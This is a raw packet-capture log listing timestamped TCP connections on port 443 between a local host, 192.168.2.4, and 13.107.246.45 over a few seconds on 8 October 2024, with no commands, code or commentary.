Oct 8, 2024 02:46:11.985548973 CEST	51398	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.985586882 CEST	443	51398	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.985655069 CEST	51398	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.985821009 CEST	51398	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.985833883 CEST	443	51398	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.991957903 CEST	443	51393	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.992121935 CEST	443	51393	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.992177010 CEST	51393	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.992250919 CEST	51393	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.992274046 CEST	443	51393	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.992290974 CEST	51393	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.992296934 CEST	443	51393	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.994450092 CEST	443	51394	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.994607925 CEST	51399	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.994648933 CEST	443	51399	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.994724989 CEST	51399	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.994884014 CEST	51399	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.994895935 CEST	443	51399	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.995834112 CEST	443	51394	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.995893955 CEST	51394	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.995909929 CEST	443	51394	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.995946884 CEST	443	51394	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.996012926 CEST	51394	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.996032000 CEST	51394	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.996037006 CEST	443	51394	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.996049881 CEST	51394	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.996053934 CEST	443	51394	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.997939110 CEST	51400	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.997970104 CEST	443	51400	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:11.998043060 CEST	51400	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.998234034 CEST	51400	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:11.998249054 CEST	443	51400	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.286626101 CEST	443	51396	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.287059069 CEST	51396	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.287081957 CEST	443	51396	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.287467957 CEST	51396	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.287472963 CEST	443	51396	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.387497902 CEST	443	51396	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.387586117 CEST	443	51396	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.387666941 CEST	51396	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.387676954 CEST	443	51396	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.387698889 CEST	443	51396	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.387743950 CEST	51396	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.387902021 CEST	51396	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.387921095 CEST	443	51396	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.387933016 CEST	51396	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.387938976 CEST	443	51396	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.390218019 CEST	51401	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.390263081 CEST	443	51401	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.390341997 CEST	51401	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.390444994 CEST	51401	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.390451908 CEST	443	51401	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.591207027 CEST	443	51397	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.604721069 CEST	51397	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.604757071 CEST	443	51397	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.605521917 CEST	51397	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.605545044 CEST	443	51397	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.636352062 CEST	443	51399	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.636727095 CEST	51399	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.636753082 CEST	443	51399	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.637173891 CEST	51399	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.637180090 CEST	443	51399	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.638216972 CEST	443	51398	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.638663054 CEST	51398	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.638689995 CEST	443	51398	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.638915062 CEST	443	51400	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.639288902 CEST	51400	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.639307022 CEST	51398	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.639312983 CEST	443	51400	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.639327049 CEST	443	51398	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.639686108 CEST	51400	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.639693022 CEST	443	51400	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.701005936 CEST	443	51397	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.701841116 CEST	443	51397	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.702048063 CEST	51397	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.702100039 CEST	51397	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.702100039 CEST	51397	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.702120066 CEST	443	51397	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.702130079 CEST	443	51397	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.704802990 CEST	51402	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.704849958 CEST	443	51402	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.704911947 CEST	51402	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.705108881 CEST	51402	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.705116987 CEST	443	51402	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.734905958 CEST	443	51399	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.735210896 CEST	443	51399	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.735268116 CEST	51399	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.735307932 CEST	51399	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.735332012 CEST	443	51399	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.735344887 CEST	51399	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.735352993 CEST	443	51399	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.738244057 CEST	51403	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.738291979 CEST	443	51403	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.738553047 CEST	51403	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.738626003 CEST	51403	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.738639116 CEST	443	51403	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.738796949 CEST	443	51400	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.738847971 CEST	443	51400	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.738888979 CEST	51400	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.738898993 CEST	443	51400	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.738913059 CEST	443	51400	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.738955975 CEST	51400	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.739032984 CEST	51400	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.739042044 CEST	443	51400	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.739053965 CEST	51400	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.739058971 CEST	443	51400	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.739833117 CEST	443	51398	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.739985943 CEST	443	51398	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.740031958 CEST	51398	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.740067959 CEST	51398	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.740087032 CEST	443	51398	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.740098000 CEST	51398	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.740103960 CEST	443	51398	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.742110968 CEST	51404	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.742196083 CEST	443	51404	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.742337942 CEST	51404	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.742736101 CEST	51404	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.742770910 CEST	443	51404	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.743184090 CEST	51405	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.743272066 CEST	443	51405	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:12.743341923 CEST	51405	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.743428946 CEST	51405	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:12.743458033 CEST	443	51405	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.029748917 CEST	443	51401	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.030523062 CEST	51401	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.030553102 CEST	443	51401	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.030936956 CEST	51401	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.030947924 CEST	443	51401	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.140587091 CEST	443	51401	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.140999079 CEST	443	51401	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.141071081 CEST	51401	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.141114950 CEST	51401	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.141114950 CEST	51401	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.141139030 CEST	443	51401	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.141150951 CEST	443	51401	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.143605947 CEST	51406	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.143697023 CEST	443	51406	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.143788099 CEST	51406	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.143944025 CEST	51406	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.143961906 CEST	443	51406	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.340540886 CEST	443	51402	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.341006994 CEST	51402	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.341023922 CEST	443	51402	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.341414928 CEST	51402	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.341420889 CEST	443	51402	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.378694057 CEST	443	51403	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.379086018 CEST	51403	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.379117012 CEST	443	51403	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.379398108 CEST	51403	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.379419088 CEST	443	51403	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.381650925 CEST	443	51405	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.381937981 CEST	51405	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.382010937 CEST	443	51405	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.382287025 CEST	51405	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.382299900 CEST	443	51405	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.391309023 CEST	443	51404	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.391784906 CEST	51404	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.391844988 CEST	443	51404	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.391943932 CEST	51404	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.391959906 CEST	443	51404	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.447614908 CEST	443	51402	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.447676897 CEST	443	51402	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.447720051 CEST	51402	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.447839975 CEST	51402	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.447861910 CEST	443	51402	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.447874069 CEST	51402	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.447881937 CEST	443	51402	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.450556040 CEST	51407	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.450659990 CEST	443	51407	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.450745106 CEST	51407	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.451030970 CEST	51407	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.451113939 CEST	443	51407	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.478207111 CEST	443	51403	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.478532076 CEST	443	51403	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.478656054 CEST	51403	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.478656054 CEST	51403	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.478656054 CEST	51403	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.480511904 CEST	51408	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.480544090 CEST	443	51408	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.480737925 CEST	51408	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.480737925 CEST	51408	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.480782986 CEST	443	51408	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.483289957 CEST	443	51405	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.483355999 CEST	443	51405	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.483432055 CEST	51405	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.483458996 CEST	443	51405	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.483488083 CEST	443	51405	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.483534098 CEST	51405	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.483534098 CEST	51405	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.483576059 CEST	443	51405	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.485043049 CEST	51409	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.485079050 CEST	443	51409	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.485141039 CEST	51409	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.485218048 CEST	51409	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.485228062 CEST	443	51409	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.491945028 CEST	443	51404	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.492486954 CEST	443	51404	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.492562056 CEST	51404	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.492643118 CEST	51404	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.492643118 CEST	51404	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.492687941 CEST	443	51404	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.492717981 CEST	443	51404	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.494328976 CEST	51410	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.494339943 CEST	443	51410	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.494389057 CEST	51410	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.494491100 CEST	51410	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.494503975 CEST	443	51410	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.782999039 CEST	51403	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.783000946 CEST	51405	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.783037901 CEST	443	51403	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.783041954 CEST	443	51405	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.788346052 CEST	443	51406	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.788830042 CEST	51406	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.788846016 CEST	443	51406	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.789288998 CEST	51406	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.789294958 CEST	443	51406	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.889445066 CEST	443	51406	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.889516115 CEST	443	51406	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.889575958 CEST	51406	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.889605999 CEST	443	51406	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.889628887 CEST	443	51406	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.889669895 CEST	51406	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.889854908 CEST	51406	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.889874935 CEST	443	51406	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.889885902 CEST	51406	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.889893055 CEST	443	51406	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.893043041 CEST	51411	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.893104076 CEST	443	51411	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:13.893189907 CEST	51411	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.893353939 CEST	51411	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:13.893371105 CEST	443	51411	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.088089943 CEST	443	51407	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.088565111 CEST	51407	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.088629961 CEST	443	51407	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.089010000 CEST	51407	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.089024067 CEST	443	51407	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.174108982 CEST	443	51410	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.174575090 CEST	51410	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.174606085 CEST	443	51410	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.174865961 CEST	51410	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.174874067 CEST	443	51410	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.177537918 CEST	443	51408	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.177752018 CEST	51408	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.177781105 CEST	443	51408	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.178033113 CEST	51408	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.178037882 CEST	443	51408	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.181822062 CEST	443	51409	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.182107925 CEST	51409	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.182116985 CEST	443	51409	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.182444096 CEST	51409	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.182449102 CEST	443	51409	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.188651085 CEST	443	51407	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.188704967 CEST	443	51407	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.188771963 CEST	51407	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.188877106 CEST	51407	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.188877106 CEST	51407	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.188922882 CEST	443	51407	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.188949108 CEST	443	51407	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.191158056 CEST	51412	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.191199064 CEST	443	51412	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.191375971 CEST	51412	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.191529036 CEST	51412	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.191534996 CEST	443	51412	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.278260946 CEST	443	51410	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.278441906 CEST	443	51410	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.278496027 CEST	443	51410	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.278649092 CEST	51410	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.278650045 CEST	51410	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.278650045 CEST	51410	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.278697968 CEST	51410	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.278718948 CEST	443	51410	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.281486988 CEST	51413	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.281578064 CEST	443	51413	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.281696081 CEST	51413	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.281788111 CEST	443	51408	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.281810999 CEST	51413	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.281830072 CEST	443	51413	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.282444954 CEST	443	51408	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.282505989 CEST	51408	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.282553911 CEST	51408	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.282553911 CEST	51408	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.282572031 CEST	443	51408	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.282582045 CEST	443	51408	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.285180092 CEST	443	51409	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.285331011 CEST	51414	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.285341978 CEST	443	51409	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.285356998 CEST	443	51414	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.285434961 CEST	51409	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.285516977 CEST	51414	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.285657883 CEST	51409	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.285671949 CEST	51414	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.285686016 CEST	443	51409	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.285707951 CEST	443	51414	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.285712957 CEST	51409	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.285718918 CEST	443	51409	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.287777901 CEST	51415	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.287856102 CEST	443	51415	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.287940979 CEST	51415	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.288074970 CEST	51415	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.288110018 CEST	443	51415	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.599236012 CEST	443	51411	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.642380953 CEST	51411	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.645236015 CEST	51411	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.645253897 CEST	443	51411	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.645857096 CEST	51411	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.645864010 CEST	443	51411	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.768887043 CEST	443	51411	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.769052982 CEST	443	51411	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.769134998 CEST	51411	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.845535040 CEST	51411	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.845535040 CEST	51411	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.845582962 CEST	443	51411	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.845602036 CEST	443	51411	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.893706083 CEST	51416	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.893800974 CEST	443	51416	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.893893957 CEST	51416	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.911443949 CEST	443	51414	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.915357113 CEST	51416	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.915410995 CEST	443	51416	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.921533108 CEST	443	51412	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.930275917 CEST	51412	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.930345058 CEST	443	51412	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.931437969 CEST	51412	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.931457043 CEST	443	51412	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.931875944 CEST	51414	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.931900978 CEST	443	51414	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.932391882 CEST	51414	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.932399035 CEST	443	51414	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.991348028 CEST	443	51413	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.996239901 CEST	51413	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.996330023 CEST	443	51413	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:14.996788025 CEST	51413	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:14.996803045 CEST	443	51413	13.107.246.45	192.168.2.4
